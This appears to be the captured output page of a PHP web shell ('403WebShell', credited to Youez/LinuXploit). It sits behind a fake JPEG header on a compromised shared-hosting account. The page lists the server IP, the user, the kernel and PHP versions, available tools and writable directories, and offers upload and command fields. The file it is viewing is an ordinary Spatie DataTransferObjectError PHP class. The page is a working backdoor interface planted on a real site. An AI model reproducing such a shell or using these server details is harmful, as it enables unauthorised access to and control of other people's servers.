����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.23.92.44
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/cbt.bofirm.com/vendor/spatie/data-transfer-object/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/cbt.bofirm.com/vendor/spatie/data-transfer-object/src/DataTransferObjectError.php
<?php

declare(strict_types=1);

namespace Spatie\DataTransferObject;

use TypeError;

class DataTransferObjectError extends TypeError
{
    public static function unknownProperties(array $properties, string $className): DataTransferObjectError
    {
        $propertyNames = implode('`, `', $properties);

        return new self("Public properties `{$propertyNames}` not found on {$className}");
    }

    public static function invalidTypes(array $invalidTypes): DataTransferObjectError
    {
        $msg = count($invalidTypes) > 1
            ? "The following invalid types were encountered:\n" . implode("\n", $invalidTypes) . "\n"
            : "Invalid type: {$invalidTypes[0]}.";

        throw new self($msg);
    }

    public static function invalidTypeMessage(
        string $class,
        string $field,
        array $expectedTypes,
        $value
    ): string {
        $currentType = gettype($value);

        if ($value === null) {
            $value = 'null';
        }

        if (is_object($value)) {
            $value = get_class($value);
        }

        if (is_array($value)) {
            $value = 'array';
        }

        $expectedTypes = implode(', ', $expectedTypes);

        if ($value === $currentType) {
            $instead = "instead got value `{$value}`.";
        } else {
            $instead = "instead got value `{$value}`, which is {$currentType}.";
        }

        return "expected `{$class}::{$field}` to be of type `{$expectedTypes}`, {$instead}";
    }

    public static function uninitialized(string $class, string $field): DataTransferObjectError
    {
        return new self("Non-nullable property `{$class}::{$field}` has not been initialized.");
    }

    public static function immutable(string $property): DataTransferObjectError
    {
        return new self("Cannot change the value of property {$property} on an immutable data transfer object");
    }

    public static function untypedCollection(string $class): DataTransferObjectError
    {
        return new self("Collection class `{$class}` has no defined array type.");
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit